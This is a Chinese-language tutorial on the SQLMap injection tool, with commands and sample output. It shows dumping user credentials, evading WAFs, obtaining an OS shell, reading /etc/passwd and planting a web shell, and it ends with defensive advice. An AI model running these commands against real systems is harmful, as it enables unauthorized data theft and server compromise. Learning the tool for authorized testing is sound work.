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SQLMap:数据库安全的精准扫描尖兵

在数据库安全防护的复杂战线中,SQLMap 犹如一位行动敏捷、精准无误的扫描尖兵。它作为一款强大的自动化 SQL 注入检测工具,能够迅速探测数据库潜在风险。本教程将细致拆解 SQLMap 的常用命令,结合示例输出,生动阐释实战场景应用。但请务必牢记,所有操作均需在合法授权环境下展开。旨在助力您熟练运用 SQLMap,在合规前提下,精准排查数据库漏洞,筑牢数据库安全防线,为数据资产保驾护航 。

1. 简介

SQLMap 是一款自动化 SQL 注入工具,支持检测和利用 SQL 注入漏洞,功能包括:

  • 数据库指纹识别

  • 数据提取(库名、表名、字段、内容)

  • 文件系统读写(需高权限)

  • 操作系统命令执行(需高权限)


2. 安装与基础命令

安装

# Kali Linux 预装,其他系统安装方式:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h

基础语法

python3 sqlmap.py -u <URL> [参数]

3. 基本漏洞检测

检测注入点

python3 sqlmap.py -u "http://test.com/vuln.php?id=1"

# 示例输出
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] testing if GET parameter &#039;id&#039; is dynamic
[INFO] heuristic (basic) test shows that GET parameter &#039;id&#039; might be injectable
[INFO] testing for SQL injection on GET parameter &#039;id&#039;
[INFO] &#039;ORDER BY&#039; technique appears to be usable. This should reduce the time
[INFO] GET parameter &#039;id&#039; is &#039;MySQL >= 5.0.12 AND time-based blind injectable&#039;

获取数据库名称

python3 sqlmap.py -u "http://test.com/vuln.php?id=1" --dbs

# 示例输出
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] testdb

4. 数据提取

获取表名

python3 sqlmap.py -u "http://test.com/vuln.php?id=1" -D testdb --tables

# 示例输出
[INFO] fetching tables for database: &#039;testdb&#039;
Database: testdb
[2 tables]
+---------+
| users   |
| products|
+---------+

获取字段名

python3 sqlmap.py -u "http://test.com/vuln.php?id=1" -D testdb -T users --columns

# 示例输出
Database: testdb
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| username | varchar(64) |
| password | varchar(64) |
+----------+-------------+

导出数据

python3 sqlmap.py -u "http://test.com/vuln.php?id=1" -D testdb -T users -C username,password --dump

# 示例输出
[INFO] fetching entries for table &#039;users&#039; in database &#039;testdb&#039;
Database: testdb
Table: users
[2 entries]
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 2  | guest    | 098f6bcd4621d373cade4e832627b4f6 |
+----+----------+----------+

5. 高级技巧

绕过 WAF/过滤

# 使用随机 User-Agent 和延迟
python3 sqlmap.py -u "http://test.com/vuln.php?id=1" --random-agent --delay=2

# 使用 tamper 脚本混淆请求
python3 sqlmap.py -u "http://test.com/vuln.php?id=1" --tamper=space2comment

执行操作系统命令

(需数据库有高权限,如 MySQL FILE 权限)

python3 sqlmap.py -u "http://test.com/vuln.php?id=1" --os-shell

# 示例输出
[INFO] testing if current user is DBA
[INFO] fetching current user
current user is &#039;root@localhost&#039;
[INFO] going to use a web backdoor
[INFO] OS shell access granted. Type &#039;?&#039; for help.
os-shell> whoami
root

文件读写

# 读取服务器文件
python3 sqlmap.py -u "http://test.com/vuln.php?id=1" --file-read="/etc/passwd"

# 写入文件(需可写权限)
python3 sqlmap.py -u "http://test.com/vuln.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

6. 实用参数速查

参数说明
--level=LEVEL测试级别(1-5,默认1)
--risk=RISK风险等级(1-3,默认1)
--proxy="http://IP:PORT"通过代理发送请求
--batch自动选择默认选项
--flush-session清空上次扫描缓存
--technique=TECH指定注入技术(B, E, U, S, T)
--eval="code"执行动态代码(如处理时间戳)

7. 完整示例

目标

攻击 URL:http://test.com/search.php?q=apple&category=2

分步操作

  1. 检测注入点

    python3 sqlmap.py -u "http://test.com/search.php?q=apple&category=2" -p "category"

  2. 获取数据库名称

    python3 sqlmap.py -u "http://test.com/search.php?q=apple&category=2" --dbs

  3. 导出用户表数据

    python3 sqlmap.py -u "http://test.com/search.php?q=apple&category=2" -D testdb -T users --dump

  4. 获取操作系统 Shell

    python3 sqlmap.py -u "http://test.com/search.php?q=apple&category=2" --os-shell


8. 防御建议

  1. 输入过滤:使用参数化查询(如 PDO、Prepared Statements)

  2. 错误处理:禁止显示数据库错误详情

  3. 权限控制:数据库账户使用最小权限原则

  4. WAF 部署:使用 ModSecurity、Cloudflare 等 Web 应用防火墙


总结

SQLMap 是测试中检测 SQL 注入的利器,但务必遵守法律和道德准则。建议在授权环境下使用 DVWA、SQLi Labs 等靶场练习。

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